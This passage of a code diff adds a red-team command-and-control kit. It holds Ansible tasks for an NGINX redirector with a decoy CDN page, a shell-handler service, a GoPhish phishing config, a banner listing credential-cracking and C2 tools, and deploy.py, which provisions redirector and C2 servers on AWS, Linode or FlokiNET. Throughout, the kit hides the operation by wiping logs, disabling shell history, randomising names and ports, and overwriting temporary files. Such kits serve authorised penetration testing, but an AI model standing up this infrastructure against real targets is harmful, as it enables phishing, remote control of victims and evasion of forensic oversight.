$http_upgrade; + proxy_set_header Connection "upgrade"; + } + + # Default location + location / { + try_files $uri $uri/ =404; + } + + # Disable logging for this server block + access_log off; + error_log /dev/null crit; + } + + # Catch-all server block + server { + listen 80 default_server; + listen [::]:80 default_server; + + # Redirect all unknown traffic to a legitimate-looking site + return 301 https://www.google.com; + + # Disable logs + access_log off; + error_log /dev/null crit; + } + dest: /etc/nginx/sites-available/default + mode: '0644' + owner: root + group: root + + - name: Create legitimate-looking index.html + copy: + content: | + + + + + + {{ redirector_subdomain }} - Content Delivery Network + + + +
+

{{ redirector_subdomain }}.{{ domain }}

+

Enterprise Content Delivery Network

+
+ +
+
+

Welcome to Our CDN

+

This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications.

+

This is a private service. Unauthorized access is prohibited.

+
+
+ + + dest: /var/www/html/index.html + mode: '0644' + owner: www-data + group: www-data + + - name: Start and enable shell handler service + systemd: + name: shell-handler + state: started + enabled: yes + daemon_reload: yes + + - name: Set up cron job for log cleaning + cron: + name: "Clean logs" + minute: "0" + hour: "*/6" + job: "/opt/c2/clean-logs.sh > /dev/null 2>&1" + when: zero_logs|bool + + - name: Install Let's Encrypt certificate if domain specified + shell: | + certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }} + args: + creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem + when: domain != "example.com" + + - name: Restart NGINX + systemd: + name: nginx + state: restarted \ No newline at end of file diff --git a/Linode/templates/gophish-config.j2 b/Linode/templates/gophish-config.j2 new file mode 100644 index 0000000..b7e5b70 --- /dev/null +++ b/Linode/templates/gophish-config.j2 @@ -0,0 +1,23 @@ +{ + "admin_server": { + "listen_url": "0.0.0.0:{{ gophish_admin_port }}", + "use_tls": true, + "cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem", + "key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem" + "trusted_origins": [] + }, + "phish_server": { + "listen_url": "0.0.0.0:80", + "use_tls": false, + "cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem", + "key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem" + }, + "db_name": "sqlite3", + "db_path": "gophish.db", + "migrations_prefix": "db/db_", + "contact_address": "", + "logging": { + "filename": "", + "level": "" + } +} diff --git a/Linode/templates/motd-linode.j2 b/Linode/templates/motd-linode.j2 new file mode 100644 index 0000000..c053592 --- /dev/null +++ b/Linode/templates/motd-linode.j2 @@ -0,0 +1,46 @@ +Welcome to your new C2 Server! + +The following tools and utilities have been installed: + +Apt-Installed Tools: +-------------------- +- git, wget, curl, unzip +- python3-pip, python3-venv, pipx +- tmux, nmap, tcpdump, hydra, john, hashcat +- sqlmap, gobuster, dirb, enum4linux, dnsenum, seclists, responder +- golang, proxychains, tor, crackmapexec, jq, unzip +- postfix, certbot, opendkim, opendkim-tools + +Pipx-Installed Tools: +--------------------- +- NetExec: git+https://github.com/Pennyw0rth/NetExec +- TREVORspray: git+https://github.com/blacklanternsecurity/TREVORspray +- impacket: (various network protocols and service tools) + +Custom Tools Installed in ~/Tools: +---------------------------------- +- SharpCollection: ~/Tools/SharpCollection +- Kerbrute: ~/Tools/Kerbrute +- PEASS-ng: ~/Tools/PEASS-ng +- MailSniper: ~/Tools/MailSniper +- Inveigh: ~/Tools/Inveigh +- Gophish: ~/Tools/gophish (unzipped here) + +Other Installed C2 Frameworks: +------------------------------ +- Metasploit Framework: system installed (run 'msfconsole') +- Sliver C2: system installed (run 'sliver') + +Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations. + +Once your DNS record points to this server’s public IP, you can obtain a Let’s Encrypt certificate by running: + + sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ mail_hostname }} + sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }} + +Remember to ensure your DNS is set correctly before running the above command. + +**IMPORTANT:** + +Don’t forget to set up a DMARC record for your domain. Update your DNS provider’s dashboard (e.g., GoDaddy) to add a TXT record named `_dmarc` with a suitable DMARC policy (e.g., `v=DMARC1; p=reject; rua=mailto:admin@{{ domain }}; ruf=mailto:admin@{{ domain }}; pct=100`). This ensures better email deliverability and security for your domain. + diff --git a/deploy.py b/deploy.py new file mode 100644 index 0000000..e03c676 --- /dev/null +++ b/deploy.py @@ -0,0 +1,1246 @@ +#!/usr/bin/env python3 + +import os +import sys +import subprocess +import argparse +import time +import yaml +import json +import random +import string +import shutil +from datetime import datetime + +# Constants +PROVIDERS = ["aws", "linode", "flokinet"] +DEFAULT_REGION = { + "aws": "us-east-1", + "linode": "us-east", + "flokinet": "anonymous" +} +DEFAULT_SIZE = { + "aws": "t2.micro", + "linode": "g6-standard-1", + "flokinet": "standard" +} + +def setup_argparse(): + """Set up and return the argument parser""" + parser = argparse.ArgumentParser(description='Deploy Red Team infrastructure') + + # Provider selection + parser.add_argument('-p', '--provider', choices=PROVIDERS, help='Provider to use for deployment') + + # AWS-specific arguments + parser.add_argument('--aws-key', help='AWS access key') + parser.add_argument('--aws-secret', help='AWS secret key') + parser.add_argument('--aws-region', help=f'AWS region (default: random from vars.yaml)') + + # Linode-specific arguments + parser.add_argument('--linode-token', help='Linode API token') + parser.add_argument('--linode-region', help=f'Linode region (default: random from vars.yaml)') + + # FlokiNET-specific arguments + parser.add_argument('--flokinet', action='store_true', help='Use FlokiNET as the provider (manual setup required)') + parser.add_argument('--flokinet-redirector-ip', help='FlokiNET redirector IP address') + parser.add_argument('--flokinet-c2-ip', help='FlokiNET C2 server IP address') + + # General arguments + parser.add_argument('--ssh-key', help='Path to SSH private key') + parser.add_argument('--ssh-user', help='SSH username (default: from vars.yaml or "root")') + parser.add_argument('--size', help='Size/type of the instances') + parser.add_argument('--region', help='Region for the instances') + parser.add_argument('--redirector-name', help='Name for the redirector instance (default: random)') + parser.add_argument('--c2-name', help='Name for the C2 instance (default: random)') + parser.add_argument('--teardown', action='store_true', help='Tear down existing infrastructure') + + # Deployment options + parser.add_argument('--redirector-only', action='store_true', help='Deploy only the redirector') + parser.add_argument('--c2-only', action='store_true', help='Deploy only the C2 server') + parser.add_argument('--debug', action='store_true', help='Enable debug mode for verbose output') + parser.add_argument('--domain', help='Domain name for the C2 infrastructure') + parser.add_argument('--letsencrypt-email', help='Email for Let\'s Encrypt certificate') + + # OPSEC settings + parser.add_argument('--disable-history', action='store_true', help='Disable command history on the servers') + parser.add_argument('--secure-memory', action='store_true', help='Enable secure memory settings') + parser.add_argument('--zero-logs', action='store_true', help='Enable zero-logs configuration') + + return parser.parse_args() + +def load_vars_file(provider): + """Load vars.yaml for the specified provider""" + vars_file = f"{provider}/vars.yaml" + if os.path.exists(vars_file): + try: + with open(vars_file, 'r') as f: + vars_data = yaml.safe_load(f) + print(f"[+] Loaded configuration from {vars_file}") + return vars_data + except Exception as e: + print(f"[!] Warning: Failed to load {vars_file}: {e}") + else: + print(f"[!] Warning: {vars_file} not found") + + return {} + +def load_config(args): + """Load configuration from vars.yaml, environment variables, and arguments""" + config = {} + + # Determine provider + provider = args.provider + if args.flokinet: + provider = 'flokinet' + + if not provider: + # Check config.yml for a saved provider + if os.path.exists('config.yml'): + try: + with open('config.yml', 'r') as f: + saved_config = yaml.safe_load(f) + provider = saved_config.get('provider') + print(f"[+] Using saved provider from config.yml: {provider}") + except Exception as e: + print(f"[!] Warning: Failed to load config.yml: {e}") + + # If still no provider, try each vars.yaml to see which ones exist + if not provider: + for p in PROVIDERS: + if os.path.exists(f"{p}/vars.yaml"): + provider = p + print(f"[+] Auto-detected provider from {p}/vars.yaml") + break + + # If still no provider, default to 'aws' + if not provider: + provider = 'aws' + print(f"[!] No provider specified, defaulting to {provider}") + + config['provider'] = provider + + # Load vars.yaml for the selected provider + vars_data = load_vars_file(provider) + + # Override with environment variables and command line arguments + if provider == 'aws': + config['aws_key'] = args.aws_key or os.environ.get('AWS_ACCESS_KEY_ID') or vars_data.get('aws_access_key') + config['aws_secret'] = args.aws_secret or os.environ.get('AWS_SECRET_ACCESS_KEY') or vars_data.get('aws_secret_key') + + # Get region choices from vars.yaml + config['aws_region_choices'] = vars_data.get('aws_region_choices', [DEFAULT_REGION['aws']]) + + # Set region (explicitly provided, or keep it None for random selection later) + config['aws_region'] = args.aws_region + + # Load AMI map + config['ami_map'] = vars_data.get('ami_map', {}) + + elif provider == 'linode': + config['linode_token'] = args.linode_token or os.environ.get('LINODE_TOKEN') or vars_data.get('linode_token') + + # Get region choices from vars.yaml + config['linode_region_choices'] = vars_data.get('region_choices', [DEFAULT_REGION['linode']]) + + # Set region (explicitly provided, or keep it None for random selection later) + config['linode_region'] = args.linode_region + + elif provider == 'flokinet': + config['flokinet_redirector_ip'] = args.flokinet_redirector_ip or vars_data.get('redirector_ip') + config['flokinet_c2_ip'] = args.flokinet_c2_ip or vars_data.get('c2_ip') + + # Get region choices from vars.yaml + config['flokinet_region_choices'] = vars_data.get('flokinet_region_choices', [DEFAULT_REGION['flokinet']]) + + # General configuration from vars.yaml + config['ssh_key'] = args.ssh_key or vars_data.get('ssh_key_path') + config['ssh_user'] = args.ssh_user or vars_data.get('ssh_user', 'root') + + # Instance size from vars.yaml or default + if provider == 'aws': + config['size'] = args.size or vars_data.get('aws_instance_type', DEFAULT_SIZE['aws']) + elif provider == 'linode': + config['size'] = args.size or vars_data.get('plan', DEFAULT_SIZE['linode']) + else: + config['size'] = args.size or DEFAULT_SIZE.get(provider, 'small') + + # Set region to None to trigger randomization later if not explicitly provided + config['region'] = args.region + + # Generate random instance names if not provided - OPSEC improvement + rand_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) + timestamp = int(time.time()) % 10000 # Last 4 digits of timestamp for brevity + + # OPSEC: Use generic names that don't indicate purpose + config['redirector_name'] = args.redirector_name or f"srv-{rand_suffix}-{timestamp}" + config['c2_name'] = args.c2_name or f"node-{rand_suffix}-{timestamp}" + + # Other flags + config['teardown'] = args.teardown + config['redirector_only'] = args.redirector_only + config['c2_only'] = args.c2_only + config['debug'] = args.debug + + # Domain and email + config['domain'] = args.domain or vars_data.get('domain', 'example.com') + config['letsencrypt_email'] = args.letsencrypt_email or vars_data.get('letsencrypt_email', 'admin@example.com') + + # OPSEC settings - default to enabled for better security + config['disable_history'] = args.disable_history if args.disable_history is not None else vars_data.get('disable_history', True) + config['secure_memory'] = args.secure_memory if args.secure_memory is not None else vars_data.get('secure_memory', True) + config['zero_logs'] = args.zero_logs if args.zero_logs is not None else vars_data.get('zero_logs', True) + + # Generate random SSH key for this deployment if not specified + if not config.get('ssh_key') and provider != 'flokinet': + config['ssh_key'] = generate_ssh_key(rand_suffix) + + # GoPhish settings + config['gophish_admin_port'] = vars_data.get('gophish_admin_port', str(random.randint(2000, 9000))) + config['smtp_auth_user'] = vars_data.get('smtp_auth_user', f"user{random.randint(1000, 9999)}") + + # Generate strong random password if not specified + if not vars_data.get('smtp_auth_pass'): + charset = string.ascii_letters + string.digits + "!@#$%^&*()-_=+[]{};:,.<>?" + random_pass = ''.join(random.choices(charset, k=20)) + config['smtp_auth_pass'] = random_pass + else: + config['smtp_auth_pass'] = vars_data.get('smtp_auth_pass') + + # Set random SSH port for better OPSEC + config['ssh_port'] = vars_data.get('ssh_port', random.randint(20000, 65000)) + + return config + +def select_region(config): + """Select region randomly from choices or use explicitly provided region""" + provider = config['provider'] + + if provider == 'aws': + if config.get('aws_region'): + selected_region = config['aws_region'] + print(f"[+] Using specified AWS region: {selected_region}") + else: + # Randomize for OPSEC + region_choices = config.get('aws_region_choices', [DEFAULT_REGION['aws']]) + + # If multiple regions available, select randomly + if len(region_choices) > 1: + # Weighted selection favoring less common regions for better OPSEC + weights = [1.5 if 'gov' not in r and 'us-east' not in r else 1.0 for r in region_choices] + selected_region = random.choices(region_choices, weights=weights, k=1)[0] + else: + selected_region = region_choices[0] + + print(f"[+] Randomly selected AWS region: {selected_region}") + config['aws_region'] = selected_region + return selected_region + + elif provider == 'linode': + if config.get('linode_region'): + selected_region = config['linode_region'] + print(f"[+] Using specified Linode region: {selected_region}") + else: + # Randomize for OPSEC + region_choices = config.get('linode_region_choices', [DEFAULT_REGION['linode']]) + # Favor less common regions for better OPSEC + weights = [1.5 if 'us' not in r else 1.0 for r in region_choices] + selected_region = random.choices(region_choices, weights=weights, k=1)[0] + print(f"[+] Randomly selected Linode region: {selected_region}") + config['linode_region'] = selected_region + return selected_region + + elif provider == 'flokinet': + if config.get('region'): + selected_region = config['region'] + print(f"[+] Using specified FlokiNET region: {selected_region}") + else: + region_choices = config.get('flokinet_region_choices', [DEFAULT_REGION['flokinet']]) + selected_region = random.choice(region_choices) + print(f"[+] Randomly selected FlokiNET region: {selected_region}") + config['region'] = selected_region + return selected_region + + # Fallback + if config.get('region'): + return config['region'] + + return DEFAULT_REGION.get(provider, 'us-east') + +def validate_config(config): + """Validate the configuration""" + provider = config['provider'] + + if provider == 'aws': + if not config.get('aws_key') or not config.get('aws_secret'): + print("[-] Error: AWS credentials must be provided") + print(" Use --aws-key and --aws-secret, or set AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY environment variables") + return False + + if provider == 'linode': + if not config.get('linode_token'): + print("[-] Error: Linode token must be provided") + print(" Use --linode-token or set LINODE_TOKEN environment variable") + return False + + if provider == 'flokinet': + # For FlokiNET, we'll prompt for IPs if not provided + if (not config.get('flokinet_redirector_ip') and not config['c2_only']) or \ + (not config.get('flokinet_c2_ip') and not config['redirector_only']): + print("[*] FlokiNET IPs not fully specified - will prompt during deployment") + # This is not a failure case anymore, just a warning + + if not config.get('ssh_key') and provider != 'flokinet': + print("[*] SSH key not provided, will generate one") + config['ssh_key'] = generate_ssh_key() + if not config['ssh_key']: + return False + + # Check for deployment logic issues + if config['redirector_only'] and config['c2_only']: + print("[-] Error: Cannot specify both --redirector-only and --c2-only") + return False + + return True + +def deploy_aws(config): + """Deploy infrastructure using AWS provider""" + print("[+] Deploying AWS infrastructure...") + + # Set AWS environment variables + os.environ['AWS_ACCESS_KEY_ID'] = config['aws_key'] + os.environ['AWS_SECRET_ACCESS_KEY'] = config['aws_secret'] + + # Create a temporary inventory file for Ansible + with open('inventory_aws.yml', 'w') as f: + f.write("---\n") + f.write("all:\n") + f.write(" vars:\n") + f.write(f" ansible_ssh_private_key_file: {config['ssh_key']}\n") + f.write(f" ansible_user: {config['ssh_user']}\n") + f.write(f" ansible_python_interpreter: /usr/bin/python3\n") + f.write(" children:\n") + f.write(" redirectors:\n") + f.write(" hosts:\n") + f.write(" redirector:\n") + f.write(" ansible_host: '{{ redirector_ip }}'\n") + f.write(" c2servers:\n") + f.write(" hosts:\n") + f.write(" c2:\n") + f.write(" ansible_host: '{{ c2_ip }}'\n") + + # Run AWS provisioning playbook + try: + # Create extra_vars dictionary with all config values + extra_vars = { + 'aws_access_key': config['aws_key'], + 'aws_secret_key': config['aws_secret'], + 'aws_region': config['aws_region'], + 'ami_map': config['ami_map'], + 'size': config['size'], + 'aws_instance_type': config['size'], + 'redirector_name': config['redirector_name'], + 'c2_name': config['c2_name'], + 'teardown': config['teardown'], + 'disable_history': config['disable_history'], + 'secure_memory': config['secure_memory'], + 'zero_logs': config['zero_logs'], + 'redirector_only': config['redirector_only'], + 'c2_only': config['c2_only'], + 'debug': config['debug'], + 'domain': config['domain'], + 'letsencrypt_email': config['letsencrypt_email'], + 'gophish_admin_port': config['gophish_admin_port'], + 'smtp_auth_user': config['smtp_auth_user'], + 'smtp_auth_pass': config['smtp_auth_pass'], + } + + extra_vars_str = ' '.join([f"{k}={v}" for k, v in extra_vars.items() if not isinstance(v, dict)]) + + # Handle the ami_map special case + ami_map_str = "" + if config['ami_map']: + ami_map_str = f"ami_map='{json.dumps(config['ami_map'])}'" + + # Determine playbook to run based on deployment mode + if config['redirector_only']: + playbook = "AWS/redirector.yml" + cmd = f"ansible-playbook -i inventory_aws.yml {playbook} -e '{extra_vars_str} {ami_map_str}'" + + if config['debug']: + print(f"[+] Running: {cmd}") + + subprocess.run(cmd, shell=True, check=True) + elif config['c2_only']: + playbook = "AWS/c2.yml" + cmd = f"ansible-playbook -i inventory_aws.yml {playbook} -e '{extra_vars_str} {ami_map_str}'" + + if config['debug']: + print(f"[+] Running: {cmd}") + + subprocess.run(cmd, shell=True, check=True) + else: + # For full deployment, run redirector first, then C2 + # First deploy redirector + redirector_cmd = f"ansible-playbook -i inventory_aws.yml AWS/redirector.yml -e '{extra_vars_str} {ami_map_str}'" + if config['debug']: + print(f"[+] Running: {redirector_cmd}") + subprocess.run(redirector_cmd, shell=True, check=True) + + # Then deploy C2 server with redirector IP + c2_cmd = f"ansible-playbook -i inventory_aws.yml AWS/c2.yml -e '{extra_vars_str} {ami_map_str}'" + if config['debug']: + print(f"[+] Running: {c2_cmd}") + subprocess.run(c2_cmd, shell=True, check=True) + + print("[+] AWS infrastructure deployed successfully!") + return True + except subprocess.CalledProcessError as e: + print(f"[-] Error: Failed to deploy AWS infrastructure: {e}") + return False + finally: + # Clean up temporary inventory file + if os.path.exists('inventory_aws.yml'): + os.remove('inventory_aws.yml') + +def deploy_linode(config): + """Deploy infrastructure using Linode provider""" + print("[+] Deploying Linode infrastructure...") + + # Set Linode environment variables + os.environ['LINODE_TOKEN'] = config['linode_token'] + + # Create a temporary inventory file for Ansible + with open('inventory_linode.yml', 'w') as f: + f.write("---\n") + f.write("all:\n") + f.write(" vars:\n") + f.write(f" ansible_ssh_private_key_file: {config['ssh_key']}\n") + f.write(f" ansible_user: {config['ssh_user']}\n") + f.write(f" ansible_python_interpreter: /usr/bin/python3\n") + f.write(" children:\n") + f.write(" redirectors:\n") + f.write(" hosts:\n") + f.write(" redirector:\n") + f.write(" ansible_host: '{{ redirector_ip }}'\n") + f.write(" c2servers:\n") + f.write(" hosts:\n") + f.write(" c2:\n") + f.write(" ansible_host: '{{ c2_ip }}'\n") + + # Run Linode provisioning playbook + try: + extra_vars = { + 'linode_token': config['linode_token'], + 'region': config['linode_region'], + 'plan': config['size'], + 'redirector_name': config['redirector_name'], + 'c2_name': config['c2_name'], + 'teardown': config['teardown'], + 'disable_history': config['disable_history'], + 'secure_memory': config['secure_memory'], + 'zero_logs': config['zero_logs'], + 'redirector_only': config['redirector_only'], + 'c2_only': config['c2_only'], + 'debug': config['debug'], + 'domain': config['domain'], + 'letsencrypt_email': config['letsencrypt_email'], + 'gophish_admin_port': config['gophish_admin_port'], + 'smtp_auth_user': config['smtp_auth_user'], + 'smtp_auth_pass': config['smtp_auth_pass'], + } + + extra_vars_str = ' '.join([f"{k}={v}" for k, v in extra_vars.items()]) + + # Determine playbook to run based on deployment mode + if config['redirector_only']: + playbook = "Linode/redirector.yml" + cmd = f"ansible-playbook -i inventory_linode.yml {playbook} -e '{extra_vars_str}'" + + if config['debug']: + print(f"[+] Running: {cmd}") + + subprocess.run(cmd, shell=True, check=True) + elif config['c2_only']: + playbook = "Linode/c2.yml" + cmd = f"ansible-playbook -i inventory_linode.yml {playbook} -e '{extra_vars_str}'" + + if config['debug']: + print(f"[+] Running: {cmd}") + + subprocess.run(cmd, shell=True, check=True) + else: + # For full deployment, run redirector first, then C2 + # First deploy redirector + redirector_cmd = f"ansible-playbook -i inventory_linode.yml Linode/redirector.yml -e '{extra_vars_str}'" + if config['debug']: + print(f"[+] Running: {redirector_cmd}") + subprocess.run(redirector_cmd, shell=True, check=True) + + # Then deploy C2 server with redirector IP + c2_cmd = f"ansible-playbook -i inventory_linode.yml Linode/c2.yml -e '{extra_vars_str}'" + if config['debug']: + print(f"[+] Running: {c2_cmd}") + subprocess.run(c2_cmd, shell=True, check=True) + + print("[+] Linode infrastructure deployed successfully!") + return True + except subprocess.CalledProcessError as e: + print(f"[-] Error: Failed to deploy Linode infrastructure: {e}") + return False + finally: + # Clean up temporary inventory file + if os.path.exists('inventory_linode.yml'): + os.remove('inventory_linode.yml') + +def deploy_flokinet(config): + """Deploy infrastructure using FlokiNET provider""" + print("[+] Deploying FlokiNET infrastructure...") + + # OPSEC: Use the random SSH port from config + ssh_port = config.get('ssh_port', random.randint(20000, 65000)) + print(f"[+] Using SSH port: {ssh_port}") + + # Prompt for IP addresses if not provided + redirector_ip = config.get('flokinet_redirector_ip') + c2_ip = config.get('flokinet_c2_ip') + + # Handle partial deployment modes + if config['redirector_only'] and not redirector_ip: + redirector_ip = input("[?] Enter FlokiNET redirector IP address: ") + if not redirector_ip: + print("[-] Error: Redirector IP is required for deployment") + return False + # Use a placeholder for C2 if we're only deploying redirector + c2_ip = "127.0.0.1" + + elif config['c2_only'] and not c2_ip: + c2_ip = input("[?] Enter FlokiNET C2 server IP address: ") + if not c2_ip: + print("[-] Error: C2 server IP is required for deployment") + return False + + # If we're only deploying C2, but need redirector IP for configuration + if not redirector_ip: + # Try to read existing redirector IP from saved config + try: + with open('FlokiNET/vars.yaml', 'r') as f: + existing_config = yaml.safe_load(f) + if existing_config and 'redirector_ip' in existing_config: + redirector_ip = existing_config['redirector_ip'] + if redirector_ip == "__REDIRECTOR_IP__": # Placeholder + redirector_ip = None + except (FileNotFoundError, yaml.YAMLError): + pass + + # If still no redirector IP, prompt for it + if not redirector_ip: + redirector_ip = input("[?] Enter existing redirector IP address (needed for C2 configuration): ") + if not redirector_ip: + print("[-] Error: Existing redirector IP is required to configure C2 server") + return False + + # Full deployment - need both IPs + elif not config['redirector_only'] and not config['c2_only']: + if not redirector_ip: + redirector_ip = input("[?] Enter FlokiNET redirector IP address: ") + if not c2_ip: + c2_ip = input("[?] Enter FlokiNET C2 server IP address: ") + + if not redirector_ip or not c2_ip: + print("[-] Error: Both redirector and C2 IPs are required for full deployment") + return False + + # Update config with obtained IPs + config['flokinet_redirector_ip'] = redirector_ip + config['flokinet_c2_ip'] = c2_ip + + # Create FlokiNET directory if it doesn't exist + if not os.path.exists('FlokiNET'): + print("[+] Creating FlokiNET directory structure...") + os.makedirs('FlokiNET', exist_ok=True) + + # Prepare vars.yaml with dynamic IPs + prepare_flokinet_vars(config) + + # Create temporary inventory files for Ansible with randomized names for OPSEC + inventory_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6)) + redirector_inventory = None + c2_inventory = None + + if not config['c2_only']: + redirector_inventory = f'inventory_r_{inventory_suffix}.yml' + with open(redirector_inventory, 'w') as f: + os.chmod(redirector_inventory, 0o600) # Secure permissions + f.write("---\n") + f.write("redirector:\n") + f.write(f" hosts:\n") + f.write(f" redirector:\n") + f.write(f" ansible_host: {redirector_ip}\n") + f.write(f" ansible_user: {config['ssh_user']}\n") + if config.get('ssh_key'): + f.write(f" ansible_ssh_private_key_file: {config['ssh_key']}\n") + f.write(f" ansible_python_interpreter: /usr/bin/python3\n") + f.write(f" ansible_port: {ssh_port}\n") # Use custom SSH port + + if not config['redirector_only']: + c2_inventory = f'inventory_c_{inventory_suffix}.yml' + with open(c2_inventory, 'w') as f: + os.chmod(c2_inventory, 0o600) # Secure permissions + f.write("---\n") + f.write("c2:\n") + f.write(f" hosts:\n") + f.write(f" c2:\n") + f.write(f" ansible_host: {c2_ip}\n") + f.write(f" ansible_user: {config['ssh_user']}\n") + if config.get('ssh_key'): + f.write(f" ansible_ssh_private_key_file: {config['ssh_key']}\n") + f.write(f" ansible_python_interpreter: /usr/bin/python3\n") + f.write(f" ansible_port: {ssh_port}\n") # Use custom SSH port + + # Run FlokiNET provisioning playbooks + try: + # Build extra vars string + extra_vars = { + 'redirector_ip': redirector_ip, + 'c2_ip': c2_ip, + 'disable_history': config['disable_history'], + 'secure_memory': config['secure_memory'], + 'zero_logs': config['zero_logs'], + 'domain': config['domain'], + 'letsencrypt_email': config['letsencrypt_email'], + 'gophish_admin_port': config['gophish_admin_port'], + 'smtp_auth_user': config['smtp_auth_user'], + 'smtp_auth_pass': config['smtp_auth_pass'], + 'ssh_port': ssh_port + } + + extra_vars_str = ' '.join([f"{k}='{v}'" for k, v in extra_vars.items()]) + + # Common provisioning for both servers + if not config['c2_only'] and redirector_inventory: + print("[+] Provisioning FlokiNET redirector...") + cmd = f"ansible-playbook -i {redirector_inventory} FlokiNET/provision.yml -e '{extra_vars_str}'" + if config['debug']: + print(f"[+] Running: {cmd}") + subprocess.run(cmd, shell=True, check=True) + + # Run redirector-specific playbook + print("[+] Configuring FlokiNET redirector...") + cmd = f"ansible-playbook -i {redirector_inventory} FlokiNET/redirector.yml -e '{extra_vars_str}'" + if config['debug']: + print(f"[+] Running: {cmd}") + subprocess.run(cmd, shell=True, check=True) + + if not config['redirector_only'] and c2_inventory: + print("[+] Provisioning FlokiNET C2 server...") + cmd = f"ansible-playbook -i {c2_inventory} FlokiNET/provision.yml -e '{extra_vars_str}'" + if config['debug']: + print(f"[+] Running: {cmd}") + subprocess.run(cmd, shell=True, check=True) + + # Run C2-specific playbook + print("[+] Configuring FlokiNET C2 server...") + cmd = f"ansible-playbook -i {c2_inventory} FlokiNET/c2.yml -e '{extra_vars_str}'" + if config['debug']: + print(f"[+] Running: {cmd}") + subprocess.run(cmd, shell=True, check=True) + + print("[+] FlokiNET infrastructure deployed successfully!") + return True + except subprocess.CalledProcessError as e: + print(f"[-] Error: Failed to deploy FlokiNET infrastructure: {e}") + return False + finally: + # Clean up temporary inventory files + for inv_file in [redirector_inventory, c2_inventory]: + if inv_file and os.path.exists(inv_file): + # Securely overwrite before removal for better OPSEC + with open(inv_file, 'w') as f: + f.write('\0' * 1024) # Overwrite with null bytes + os.remove(inv_file) + if config['debug']: + print(f"[+] Removed temporary inventory file: {inv_file}") + +def prepare_flokinet_vars(config): + """Prepare FlokiNET vars.yaml with dynamic values""" + vars_file = 'FlokiNET/vars.yaml' + + # Check if template exists, create it if not + if not os.path.exists(vars_file): + # Default template content with enhanced OPSEC + template = { + 'flokinet_region_choices': ['iceland', 'romania', 'finland', 'netherlands'], + 'redirector_ip': config['flokinet_redirector_ip'], + 'c2_ip': config['flokinet_c2_ip'], + 'domain': config['domain'], + 'redirector_subdomain': 'cdn', + 'c2_subdomain': 'mail', + 'letsencrypt_email': config['letsencrypt_email'], + 'ssh_port': config.get('ssh_port', random.randint(20000, 65000)), + 'ssh_user': config['ssh_user'], + 'ssh_key_path': config.get('ssh_key', '~/.ssh/id_ed25519.pub'), + 'c2_framework': 'sliver', + 'shell_handler_port': random.randint(10000, 65000), # Random port for better OPSEC + 'shell_handler_protocol': 'http', + 'disable_history': config['disable_history'], + 'secure_memory': config['secure_memory'], + 'zero_logs': config['zero_logs'], + 'log_rotation_hours': 6, + 'secure_delete_tools': True, + 'memory_clear_interval': 60, + 'infrastructure_lifespan': 72, + 'auto_rotate_certs': True, + 'cert_rotation_days': 30, + 'gophish_admin_port': config.get('gophish_admin_port', str(random.randint(2000, 9000))), + 'gophish_admin_domain': f"admin.{config['domain']}", + 'gophish_site_domain': f"portal.{config['domain']}", + 'smtp_auth_user': config.get('smtp_auth_user', f"user{random.randint(1000, 9999)}"), + 'smtp_auth_pass': config.get('smtp_auth_pass', ''.join(random.choices(string.ascii_letters + string.digits + "!@#$%^&*", k=20))) + } + + # Write template to file with secure permissions + with open(vars_file, 'w') as f: + os.chmod(vars_file, 0o600) # Readable only by owner + yaml.dump(template, f, default_flow_style=False) + print(f"[+] Created new FlokiNET configuration in {vars_file} (mode 0600)") + else: + # Read existing vars + with open(vars_file, 'r') as f: + vars_data = yaml.safe_load(f) + + # Update with dynamic values + vars_data['redirector_ip'] = config['flokinet_redirector_ip'] + vars_data['c2_ip'] = config['flokinet_c2_ip'] + + # Update domain and email if provided + vars_data['domain'] = config['domain'] + vars_data['letsencrypt_email'] = config['letsencrypt_email'] + + # Update OPSEC settings + vars_data['disable_history'] = config['disable_history'] + vars_data['secure_memory'] = config['secure_memory'] + vars_data['zero_logs'] = config['zero_logs'] + vars_data['ssh_port'] = config.get('ssh_port', vars_data.get('ssh_port', 22222)) + + # Write updated vars back to file + with open(vars_file, 'w') as f: + yaml.dump(vars_data, f, default_flow_style=False) + print(f"[+] Updated existing FlokiNET configuration in {vars_file}") + +def ensure_provider_files_exist(config): + """Ensure necessary files exist for the provider""" + provider = config['provider'] + # Check for required directories + if not os.path.exists(provider): + print(f"[+] Creating {provider} directory structure...") + os.makedirs(provider, exist_ok=True) + + # Basic file existence checks + required_files = { + 'aws': ['redirector.yml', 'c2.yml'], + 'linode': ['redirector.yml', 'c2.yml'], + 'flokinet': ['provision.yml', 'redirector.yml', 'c2.yml'] + } + + # Check for shared files directory + if not os.path.exists('files'): + print("[+] Creating shared files directory...") + os.makedirs('files', exist_ok=True) + + # Check for essential OPSEC scripts + essential_scripts = [ + 'clean-logs.sh', + 'persistent-listener.sh', + 'secure-exit.sh', + 'serve-beacons.sh' + ] + + missing_files = [] + + # Check provider-specific files + for file in required_files.get(provider.lower(), []): + full_path = f"{provider}/{file}" + if not os.path.exists(full_path): + missing_files.append(full_path) + + # Check shared OPSEC scripts + for script in essential_scripts: + if not os.path.exists(f"files/{script}"): + missing_files.append(f"files/{script}") + + if missing_files: + print(f"[!] Warning: The following files are missing:") + for file in missing_files: + print(f" - {file}") + print(f"[!] You may need to create these files before deployment will work.") + return False + + return True + +def generate_ssh_key(instance_label=None): + """Generate a new SSH key with randomized name for better OPSEC""" + # Create a unique key name based on instance label or random string + if not instance_label: + instance_label = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) + + key_name = f"c2ingred_{instance_label}_{int(time.time())}" + key_path = os.path.expanduser(f"~/.ssh/{key_name}") + + print(f"[+] Generating new SSH key: {key_path}") + try: + subprocess.run(["ssh-keygen", "-t", "ed25519", "-f", key_path, "-N", ""], check=True) + # Set proper permissions + os.chmod(key_path, 0o600) + 